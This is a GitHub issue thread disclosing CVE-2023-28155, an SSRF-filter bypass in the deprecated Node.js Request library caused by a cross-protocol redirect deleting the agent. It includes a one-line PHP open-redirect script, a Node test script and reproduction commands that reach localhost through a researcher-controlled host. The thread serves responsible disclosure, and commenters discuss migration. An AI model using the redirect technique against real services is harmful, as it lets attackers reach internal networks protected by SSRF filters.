CVE-2023-28155 Request allows a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect
SzymonDrosdzol opened this issue ยท 7 comments
Summary
I am a security researcher at Doyensec.
During a security engagement I have identified a security vulnerability in the Request library.
In a spirit of a Responsible Disclosure we have tried to contact the maintainer directly on 12/02/2022 and 01/18/2023 via email, but we have received no answer.
Please provide a communication channel that would allow us to share the technical details and the proposed fix, otherwise we will be forced to disclose the vulnerability publicly.
You can contact me via email: szymon@doyensec.com
Not my conversation to be involving myself in, but why would you be forced to disclose the vulnerability publicly if they don't respond?
Please refer to https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html "Why are disclosure deadlines necessary?" if you're not familiar with standard vulnerability disclosure practices
Summary
A Server Side Request Forgery (SSRF) attack describes the ability of an attacker to create network connections from a vulnerable web application to the internal network and other Internet hosts. Frequently, a SSRF vulnerability is used to attack internal services placed behind a firewall and not directly accessible from the Internet.
The Request library can be leveraged to initiate an HTTP / HTTPS connection and potentially gather information about the victim's internal infrastructure even if there's anti-SSRF filtering in place.
The issue has been assigned with a CVE-2023-28155 identification number.
Technical Description
In JavaScript HTTP clients the SSRF filters utilize the HTTP(S) agents to hook to the onConnect
event to filter the target hosts before the communication starts. In case of a redirect with a protocol switch (eg. HTTP redirecting to HTTPS) the library deletes the agent, all event listeners and SSRF protection in the process. This behavior can be observed in the lib/redirect.js
:
// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
delete request.agent
}
Reproduction Steps
The issue can be demonstrated using the following steps:
- Prepare an attacker-controlled server with the ability to redirect to arbitrary URLs. Example PHP script:
<?php header('Location: '.$_GET["target"]); ?>
- Set up a local HTTP server.
$ python3 -m http.server 80
- Prepare a test script with anti-SSRF protection plugged into request library:
const request = require('request');
const ssrfFilter = require('ssrf-req-filter');
let url = process.argv[2];
console.log("Testing", url);
request({
uri: url,
agent: ssrfFilter(url),
});
console.log("OK");
-
For the sake of an example, I have placed the redirect script on my server
tellico.fun
. -
Verify that in case of a redirect without protocol switch the SSRF attempt is blocked:
$ node dev/request.js "https://tellico.fun/redirect.php?target=https://localhost/test"
Testing https://tellico.fun/redirect.php?target=https://localhost/test
events.js:353
throw er; // Unhandled 'error' event
^
Error: Call to 127.0.0.1 is blocked.
- Verify that in case of cross-protocol redirect the SSRF is still possible (also the local HTTP server logs should show the incoming request):
$ node dev/request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
OK
I imagine this is where the problem lies?:
https://github.com/request/request/blame/3c0cddc7c8eb60b470e9519da85896ed7ee0081e/lib/redirect.js#L111
I'm having a hard time deciding if this should be considered a requestjs "vuln" or if its more of a "bug". It looks like requestjs was always vulnerable to SSRFs, and ssrf-req-filter
is what fixed the problem. But given how requestjs is written, this bug is the way to bypass ssrf-req-filter
.
Either way, it looks unfixable without editing requestjs's source.
And given that requestjs has been deprecated for years, my guess is this won't be fixed. So wouldnt this mean its now time to move to other libraries? At least for companies that need to keep their npm audit
s "up to code"
Tangential call for help, and question addressed to subscribers of this issue: is it clear to you how to get SSRF protection in recently-introdued-in-node18 fetch
like we do in axios/request with a plugin like ssrf-req-filter? (Putting this CVE aside, of course).
It's not to me. Community implementation node-fetch
has support for something similar, but I can't find anything in the new implementation maintained by nodejs based on undici. I created nodejs/undici#2019 with details, any clues welcome there.
END Tangential call for help, sorry for the mild noise, please comment about SSRF-in-native-node-fetch at nodejs/undici#2019 , not here.
Sorry to revive this, @SzymonDrosdzol does this affect the request-promise
library, and if so what are the reproduction steps?
Hi @KernowSec
It seems that the request-promise
is a simple wrapper around the original request
library, so I would expect it to be just as vulnerable. Reproduction will be probably very similar to the original too.
The request-promise
is also considered deprecated, so the best recommendation is to plan the migration to other libraries.